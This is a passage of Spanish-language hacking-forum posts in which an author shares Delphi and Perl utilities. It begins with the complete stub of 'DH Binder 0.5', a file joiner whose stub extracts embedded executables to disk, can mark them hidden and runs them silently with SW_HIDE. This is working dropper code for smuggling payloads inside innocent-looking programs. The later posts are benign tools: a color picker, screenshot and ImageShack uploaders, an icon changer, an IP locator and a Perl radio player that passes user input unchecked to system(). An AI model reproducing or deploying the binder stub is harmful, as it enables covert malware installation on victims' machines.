         StatusBar1.Panels[0].Text := '[-] Error';
         Form1.StatusBar1.Update;
       end;
     end;
   end
   else
   begin
     StatusBar1.Panels[0].Text := '[+] Done ';
     Form1.StatusBar1.Update;
   end;
 end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 if OpenDialog2.Execute then
 begin
   Image2.Picture.LoadFromFile(OpenDialog2.FileName);
   Edit1.Text := OpenDialog2.FileName;
 end;
end;

procedure TForm1.CleanList1Click(Sender: TObject);
begin
 ListView1.Items.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 OpenDialog1.InitialDir := GetCurrentDir;
 OpenDialog2.InitialDir := GetCurrentDir;
 OpenDialog2.Filter := 'Icons|*.ico|';
end;

end.

// The End ?


El stub.

Código (delphi) [Seleccionar]

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

program stub;

uses
 Windows,
 SysUtils,
 ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
 Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
 SetLength(text, AnsiPos(hastaaca, text) - 1);
 Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
 data: DWORD;
 uno: DWORD;
 dos: DWORD;
 cinco2: string;
 nombre: string;
 tipodecarga: string;
 ruta: string;
 ocultar: string;

begin

 Result := True;

 cinco2 := cinco;
 cinco2 := regex(cinco2, '[63686175]', '[63686175]');
 cinco2 := dhencode(cinco2, 'decode');
 cinco2 := LowerCase(cinco2);

 nombre := regex(cinco2, '[nombre]', '[nombre]');
 tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
 ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
 ocultar := regex(cinco2, '[hide]', '[hide]');

 data := FindResource(0, cinco, cuatro);

 uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
   CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
   dos, nil);

 CloseHandle(uno);

 if (ocultar = '1') then
 begin
   SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
 end;

 if (tipodecarga = 'normal') then
 begin
   ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
 end
 else
 begin
   ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
 end;

end;

begin

 EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#108
Version final de este programa para encontrar el color de un pixel.

Una imagen :



El codigo :


// DH GetColor 0.3
// (C) Doddy Hackman 2014
// Credits :
// Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
// Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Clipbrd;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    Timer1: TTimer;
    GroupBox1: TGroupBox;
    Shape1: TShape;
    GroupBox2: TGroupBox;
    Memo1: TMemo;
    Label1: TLabel;
    Label2: TLabel;
    Timer2: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);

  private
    capturanow: HDC;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  capturanow := GetDC(0);
  if (capturanow <> 0) then
  begin
    Timer1.Enabled := True;
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  aca: TPoint;
  color: TColor;
  re: string;

begin

  if GetCursorPos(aca) then
  begin
    color := GetPixel(capturanow, aca.X, aca.Y);
    Shape1.Brush.color := color;
    re := IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2) +
      IntToHex(GetBValue(color), 2);
    Label2.Caption := re;
    StatusBar1.Panels[0].Text := '[+] Finding colors ...';
    Form1.StatusBar1.Update;
  end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
  re: Longint;
begin

  re := GetAsyncKeyState(65);
  if re = -32767 then
  begin
    Clipboard.AsText := Label2.Caption;
    StatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
    Form1.StatusBar1.Update;
  end;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#109
Version final de este programa para sacar un screenshot y subirlo ImageShack.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// DH Screenshoter 0.3
// (C) Doddy Hackman 2014
// Based in the API of : https://imageshack.com/

unit screen;

interface

uses
  Windows, System.SysUtils, System.Variants,
  System.Classes, Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.StdCtrls, Jpeg, ShellApi, IdMultipartFormData,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  about;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    GroupBox1: TGroupBox;
    CheckBox1: TCheckBox;
    Edit1: TEdit;
    CheckBox2: TCheckBox;
    Edit2: TEdit;
    Label1: TLabel;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    GroupBox2: TGroupBox;
    Edit3: TEdit;
    GroupBox3: TGroupBox;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    IdHTTP1: TIdHTTP;
    procedure Button1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

procedure capturar(nombre: string);

// Function capturar() based in :
// http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
// http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
// http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
// Thanks to Zarko Gajic , Luthfi and Ken White

var
  aca: HDC;
  tan: TRect;
  posnow: TPoint;
  imagen1: TBitmap;
  imagen2: TJpegImage;
  curnow: THandle;

begin

  aca := GetWindowDC(GetDesktopWindow);
  imagen1 := TBitmap.Create;

  GetWindowRect(GetDesktopWindow, tan);
  imagen1.Width := tan.Right - tan.Left;
  imagen1.Height := tan.Bottom - tan.Top;
  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
    0, SRCCOPY);

  GetCursorPos(posnow);

  curnow := GetCursor;
  DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
    DI_NORMAL);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

  imagen1.Free;
  imagen2.Free;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
var
  fecha: TDateTime;
  fechafinal: string;
  nombrefecha: string;
  i: integer;
  datos: TIdMultiPartFormDataStream;
  code: string;
  regex: TPerlRegEx;
  url: string;

begin

  Edit3.Text := '';
  regex := TPerlRegEx.Create();

  fecha := now();
  fechafinal := DateTimeToStr(fecha);
  nombrefecha := fechafinal + '.jpg';

  nombrefecha := StringReplace(nombrefecha, '/', ':',
    [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ' ', '',
    [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ':', '_',
    [rfReplaceAll, rfIgnoreCase]);

  if (CheckBox2.Checked) then
  begin
    for i := 1 to StrToInt(Edit2.Text) do
    begin
      StatusBar1.Panels[0].Text := '[+] Taking picture on  : ' + IntToStr(i) +
        ' seconds ';
      Form1.StatusBar1.Update;
      Sleep(i * 1000);
    end;
  end;

  Form1.Hide;

  Sleep(1000);

  if (CheckBox1.Checked) then
  begin
    capturar(Edit1.Text);
  end
  else
  begin
    capturar(nombrefecha);
  end;

  Form1.Show;

  StatusBar1.Panels[0].Text := '[+] Photo taken';
  Form1.StatusBar1.Update;

  if (CheckBox4.Checked) then
  begin

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', '');
    // Fuck You

    if (CheckBox1.Checked) then
    begin
      datos.AddFile('fileupload', Edit1.Text, 'application/octet-stream');
    end
    else
    begin
      datos.AddFile('fileupload', nombrefecha, 'application/octet-stream');
    end;
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    regex.regex := '"image_link":"(.*?)"';
    regex.Subject := code;

    if regex.Match then
    begin
      url := regex.Groups[1];
      url := StringReplace(url, '\', '', [rfReplaceAll, rfIgnoreCase]);
      Edit3.Text := url;
      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;
    end
    else
    begin
      StatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.StatusBar1.Update;
    end;
  end;

  if (CheckBox3.Checked) then
  begin
    if (CheckBox1.Checked) then
    begin
      ShellExecute(Handle, 'open', Pchar(Edit1.Text), nil, nil, SW_SHOWNORMAL);
    end
    else
    begin
      ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL);
    end;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  Edit3.SelectAll;
  Edit3.CopyToClipboard;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#110
Version Final de este programa para subir imagenes a ImageShack usando el API que ofrecen.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// ImageShack Uploader 0.3
// Based in the API of ImageShack
// Coded By Doddy H

unit image;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.StdCtrls, about, IdMultipartFormData, PerlRegEx;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    StatusBar1: TStatusBar;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    GroupBox2: TGroupBox;
    Edit2: TEdit;
    GroupBox3: TGroupBox;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    procedure Button4Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Edit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  regex: TPerlRegEx;
  datos: TIdMultiPartFormDataStream;
  code: string;
  url: string;

begin

  if FileExists(Edit1.Text) then
  begin

    regex := TPerlRegEx.Create();

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', '');
    // Fuck You
    datos.AddFile('fileupload', Edit1.Text, 'application/octet-stream');
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    regex.regex := '"image_link":"(.*?)"';
    regex.Subject := code;

    if regex.Match then
    begin
      url := regex.Groups[1];
      url := StringReplace(url, '\', '', [rfReplaceAll, rfIgnoreCase]);
      Edit2.Text := url;
      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;

    end
    else
    begin
      StatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.StatusBar1.Update;
    end;

    regex.Free;

  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] File not Found';
    Form1.StatusBar1.Update;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  Edit2.SelectAll;
  Edit2.CopyToClipboard;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#111
Version final de este programa para cambiarle el icono a cualquier programa (eso creo).

Una imagen :



El codigo.

Código (delphi) [Seleccionar]

// DH Icon Changer 0.5
// (C) Doddy Hackman 2014
// Based on IconChanger By Chokstyle
// Thanks to Chokstyle

unit icon;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, madRes, Vcl.StdCtrls,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, about;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    StatusBar1: TStatusBar;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    Button2: TButton;
    GroupBox4: TGroupBox;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Edit2: TEdit;
    Image2: TImage;
    OpenDialog2: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Edit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin

  if OpenDialog2.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
    Edit2.Text := OpenDialog2.FileName;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  op: string;
  change: dword;
  valor: string;

begin

  valor := IntToStr(128);

  op := InputBox('Backup', 'Backup ?', 'Yes');

  if op = 'Yes' then
  begin
    CopyFile(PChar(Edit1.Text), PChar(ExtractFilePath(Application.ExeName) +
      'backup' + ExtractFileExt(Edit1.Text)), True);
  end;

  try
    begin
      change := BeginUpdateResourceW(PWideChar(wideString(Edit1.Text)), false);
      LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
        PWideChar(wideString(Edit2.Text)));
      EndUpdateResourceW(change, false);
      StatusBar1.Panels[0].Text := '[+] Changed !';
      Form1.StatusBar1.Update;
    end;
  except
    begin
      StatusBar1.Panels[0].Text := '[-] Error';
      Form1.StatusBar1.Update;

    end;
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'Icons|*.ico|';

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#112
Programación General / [Delphi] LocateIP 0.5
4 Abril 2014, 20:16 PM
Version final de este programa para localizar la IP y DNS de una pagina.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// LocateIP 0.5
// (C) Doddy Hackman 2014
// Credits :
// Based on the services :
// To get IP -- http://whatismyipaddress.com/
// To locate IP -- http://www.melissadata.com/
// To get DNS -- http://www.ip-adress.com/
// Thanks to whatismyipaddress.com , www.melissadata.com , www.ip-adress.com

unit locate;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  IdMultipartFormData, Vcl.Imaging.pngimage, Vcl.ExtCtrls;

type
  TForm1 = class(TForm)
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    GroupBox2: TGroupBox;
    Edit2: TEdit;
    Edit3: TEdit;
    Edit4: TEdit;
    StatusBar1: TStatusBar;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    GroupBox3: TGroupBox;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  regex: TPerlRegEx;
  par: TIdMultiPartFormDataStream;
  rta: string;
  z: integer;

begin

  regex := TPerlRegEx.Create();

  par := TIdMultiPartFormDataStream.Create;
  par.AddFormField('DOMAINNAME', Edit1.text);

  StatusBar1.Panels[0].text := '[+] Getting IP ...';
  Form1.StatusBar1.Update;

  rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

  regex.regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
  regex.Subject := rta;

  if regex.Match then
  begin
    Edit1.text := regex.Groups[2];

    StatusBar1.Panels[0].text := '[+] Locating ...';
    Form1.StatusBar1.Update;

    rta := IdHTTP1.Get
      ('http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
      Edit1.text);

    regex.regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit2.text := regex.Groups[2];
    end
    else
    begin
      Edit2.text := 'Not Found';
    end;

    regex.regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit3.text := regex.Groups[2];
    end
    else
    begin
      Edit3.text := 'Not Found';
    end;

    regex.regex := 'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit4.text := regex.Groups[2];
    end
    else
    begin
      Edit4.text := 'Not Found';
    end;

    StatusBar1.Panels[0].text := '[+] Getting DNS ...';
    Form1.StatusBar1.Update;

    ListBox1.Items.Clear;

    rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + Edit1.text);

    regex.regex := 'whois\/(.*?)\">Whois';
    regex.Subject := rta;

    while regex.MatchAgain do
    begin
      for z := 1 to regex.GroupCount do
        ListBox1.Items.Add(regex.Groups[z]);
    end;

  end
  else
  begin
    StatusBar1.Panels[0].text := '[-] Error';
    Form1.StatusBar1.Update;
  end;

  StatusBar1.Panels[0].text := '[+] Finished';
  Form1.StatusBar1.Update;

  regex.Free;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#113
Scripting / [Perl] Radio X 0.4
28 Marzo 2014, 16:29 PM
Actualice mi programa en perl llamado "Radio X" debido a que las emisoras no me gustaban , asi que actualice el hash con 31 estaciones , todas de diferentes generos , aunque la unica que siempre escucho siempre es la de musica clasica.

Aclaracion de dependencia :

Aclaro que necesitan bajar el mplayer , esta el link de descarga en el script , una vez que lo tengan descargado y descomprimido creen una carpeta llamada
"mplayer" y copian todos los archivos del archivo descomprimido en la carpeta recien creada , todo esto tiene que ser en el mismo directorio donde este el script.

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#Radio X
#Version 0.4
#(C) Doddy Hackman 2014
#
#Download : http://www.mplayerhq.hu/MPlayer/releases/win32/MPlayer-mingw32-1.0rc2.zip
#

use Cwd;

my @emisoras = (

    {},

    {

        "nombre" => "idobi Radio",
        "genero" => "Alternative",
        "link"   => "http://69.46.88.21:80"

    },

    {

        "nombre" => "BLUES RADIO (1.FM TM)",
        "genero" => "Blues",
        "link"   => "http://205.164.35.58:80"

    },

    {

        "nombre" => "Venice Classic Radio Italia",
        "genero" => "Classical",
        "link"   => "http://174.36.206.197:8000"

    },

    {

        "nombre" => "100hitz - New Country",
        "genero" => "Country",
        "link"   => "http://69.4.234.186:9210"

    },

    {

        "nombre" => "RADIO 7 - POLNOCNE",
        "genero" => "Decades",
        "link"   => "http://94.23.36.107:443"

    },

    {

        "nombre" => "COOLfahrenheit 93",
        "genero" => "Easy Listening",
        "link"   => "http://203.150.225.77:8400"

    },

    {

        "nombre" => "Ibiza Global Radio",
        "genero" => "Electronic",
        "link"   => "http://198.50.197.161:8024"

    },

    {

        "nombre" => "HBR1.com - I.D.M. Tranceponder",
        "genero" => "Trance",
        "link"   => "http://ubuntu.hbr1.com:19800/trance.ogg"

    },

    {

        "nombre" => "COOL radio - Beograd",
        "genero" => "Folk",
        "link"   => "http://176.9.30.66:80"

    },

    {

        "nombre" => "COOL radio - Beograd",
        "genero" => "Folk",
        "link"   => "http://176.9.30.66:80"

    },

    {

        "nombre" => "HPR4",
        "genero" => "Inspirational",
        "link"   => "http://50.7.77.179:8024"

    },

    {

        "nombre" => "Radio Carsija - Melli",
        "genero" => "International",
        "link"   => "http://80.237.153.95:19406"

    },

    {

        "nombre" => "TheJazzGroove.com",
        "genero" => "Jazz",
        "link"   => "http://199.180.72.2:8015"

    },

    {

        "nombre" => "Paisa Estereo",
        "genero" => "Latin",
        "link"   => "http://199.217.118.10:7094"

    },

    {

        "nombre" => "RockRadio1.Com",
        "genero" => "Metal",
        "link"   => "http://77.74.192.50:8000"

    },

    {

        "nombre" => "Adom 106.3FM",
        "genero" => "Misc",
        "link"   => "http://67.159.60.45:8100"

    },

    {

        "nombre" => "Healing",
        "genero" => "New Age",
        "link"   => "http://222.122.178.183:11070"

    },

    {

        "nombre" => "RADIO SOUND POP",
        "genero" => "Pop",
        "link"   => "http://99.198.118.250:8076"

    },

    {

        "nombre" => "Latido 90.1 FM",
        "genero" => "Public Radio",
        "link"   => "http://64.251.21.48:42000"

    },

    {

        "nombre" => "Radio Mandela",
        "genero" => "Funk",
        "link"   => "http://184.154.150.93:9010"

    },

    {

        "nombre" => "Boneyaad Radio",
        "genero" => "Rap",
        "link"   => "http://69.175.103.226:8180"

    },

    {

        "nombre" => "Reggae141.com",
        "genero" => "Reggae",
        "link"   => "http://184.107.197.154:8002"

    },

    {

        "nombre" => "Classic Rock 915",
        "genero" => "Rock",
        "link"   => "http://117.53.175.113:15018"

    },

    {

        "nombre" => "181.fm - Rock 181 (Active Rock)",
        "genero" => "Rock",
        "link"   => "http://108.61.73.118:14008"

    },

    {

        "nombre" => "181.FM - The Buzz",
        "genero" => "Rock",
        "link"   => "http://108.61.73.119:14126"

    },

    {

        "nombre" => "181.FM - Good Time Oldies",
        "genero" => "Rock",
        "link"   => "http://108.61.73.118:14046"

    },

    {

        "nombre" => "Top40",
        "genero" => "Pop Dance R&B Rock",
        "link"   => "http://95.141.24.79:80"

    },

    {

        "nombre" => "MUSIK.ORIENTAL",
        "genero" => "Seasonal and Holiday",
        "link"   => "http://193.34.51.40:80"

    },

    {

        "nombre" => "NOVA 100.3",
        "genero" => "Soundtracks",
        "link"   => "http://117.53.175.113:15010"

    },

    {

        "nombre" => "Alex Jones - Infowars.com",
        "genero" => "Talk",
        "link"   => "http://50.7.130.109:80"

    },

    {

        "nombre" => "illusive Radio Punta",
        "genero" => "Themes",
        "link"   => "http://38.96.148.141:9996"

    }

);

$SIG{INT} = \&retorno;

chdir( getcwd() . "/mplayer/" );

menu();

sub retorno {
    print "\n\n[+] Press any key for return to the menu\n\n";
    <stdin>;
    clean();
    menu();
}

sub menu {

    head();

    print "\n\n[+] Listing ["
      . int( @emisoras - 1 ) . "] "
      . "stations found ...\n";

    for my $em ( 1 .. @emisoras - 1 ) {

        print "\n[+] ID : " . $em . "\n";
        print "[+] Name : " . $emisoras[$em]->{nombre} . "\n";
        print "[+] Type : " . $emisoras[$em]->{genero} . "\n";

        #print "[$em] - ".$emisoras[$em]->{genero}."\n";

    }

    print "\n[+] Write exit to go out\n";

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "exit" ) {
        copyright();
    }

    if ( $op =~ /\d+/ ) {
        print "\n[!] Listening : " . $emisoras[$op]->{link} . " ...\n\n";
        system("mplayer $emisoras[$op]->{link}");
    }

    copyright();

}

sub head {

    clean();

    print qq(


@@@@@     @    @@@@    @   @@@@     @     @
@    @    @    @   @   @  @    @    @     @
@    @   @ @   @    @  @  @    @     @   @
@    @   @ @   @    @  @  @    @      @ @ 
@@@@@   @   @  @    @  @  @    @       @   
@    @  @   @  @    @  @  @    @      @ @ 
@    @  @@@@@  @    @  @  @    @     @   @
@    @ @     @ @   @   @  @    @    @     @
@    @ @     @ @@@@    @   @@@@     @     @

);

}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n\n";
    <stdin>;
    exit(1);
}

sub clean {
    my $os = $^O;
    if ( $os =~ /Win32/ig ) {
        system("cls");
    }
    else {
        system("clear");
    }
}

#The End ?



Un ejemplo de uso





@@@@@     @    @@@@    @   @@@@     @     @
@    @    @    @   @   @  @    @    @     @
@    @   @ @   @    @  @  @    @     @   @
@    @   @ @   @    @  @  @    @      @ @
@@@@@   @   @  @    @  @  @    @       @
@    @  @   @  @    @  @  @    @      @ @
@    @  @@@@@  @    @  @  @    @     @   @
@    @ @     @ @   @   @  @    @    @     @
@    @ @     @ @@@@    @   @@@@     @     @



[+] Listing [31] stations found ...

[+] ID : 1
[+] Name : idobi Radio
[+] Type : Alternative

[+] ID : 2
[+] Name : BLUES RADIO (1.FM TM)
[+] Type : Blues

[+] ID : 3
[+] Name : Venice Classic Radio Italia
[+] Type : Classical

[+] ID : 4
[+] Name : 100hitz - New Country
[+] Type : Country

[+] ID : 5
[+] Name : RADIO 7 - POLNOCNE
[+] Type : Decades

[+] ID : 6
[+] Name : COOLfahrenheit 93
[+] Type : Easy Listening

[+] ID : 7
[+] Name : Ibiza Global Radio
[+] Type : Electronic

[+] ID : 8
[+] Name : HBR1.com - I.D.M. Tranceponder
[+] Type : Trance

[+] ID : 9
[+] Name : COOL radio - Beograd
[+] Type : Folk

[+] ID : 10
[+] Name : COOL radio - Beograd
[+] Type : Folk

[+] ID : 11
[+] Name : HPR4
[+] Type : Inspirational

[+] ID : 12
[+] Name : Radio Carsija - Melli
[+] Type : International

[+] ID : 13
[+] Name : TheJazzGroove.com
[+] Type : Jazz

[+] ID : 14
[+] Name : Paisa Estereo
[+] Type : Latin

[+] ID : 15
[+] Name : RockRadio1.Com
[+] Type : Metal

[+] ID : 16
[+] Name : Adom 106.3FM
[+] Type : Misc

[+] ID : 17
[+] Name : Healing
[+] Type : New Age

[+] ID : 18
[+] Name : RADIO SOUND POP
[+] Type : Pop

[+] ID : 19
[+] Name : Latido 90.1 FM
[+] Type : Public Radio

[+] ID : 20
[+] Name : Radio Mandela
[+] Type : Funk

[+] ID : 21
[+] Name : Boneyaad Radio
[+] Type : Rap

[+] ID : 22
[+] Name : Reggae141.com
[+] Type : Reggae

[+] ID : 23
[+] Name : Classic Rock 915
[+] Type : Rock

[+] ID : 24
[+] Name : 181.fm - Rock 181 (Active Rock)
[+] Type : Rock

[+] ID : 25
[+] Name : 181.FM - The Buzz
[+] Type : Rock

[+] ID : 26
[+] Name : 181.FM - Good Time Oldies
[+] Type : Rock

[+] ID : 27
[+] Name : Top40
[+] Type : Pop Dance R&B Rock

[+] ID : 28
[+] Name : MUSIK.ORIENTAL
[+] Type : Seasonal and Holiday

[+] ID : 29
[+] Name : NOVA 100.3
[+] Type : Soundtracks

[+] ID : 30
[+] Name : Alex Jones - Infowars.com
[+] Type : Talk

[+] ID : 31
[+] Name : illusive Radio Punta
[+] Type : Themes

[+] Write exit to go out

[+] Option : 3

[!] Listening : http://174.36.206.197:8000 ...

MPlayer 1.0rc2-4.2.1 (C) 2000-2007 MPlayer Team
CPU: AMD Sempron(tm) 140 Processor (Family: 16, Model: 6, Stepping: 2)
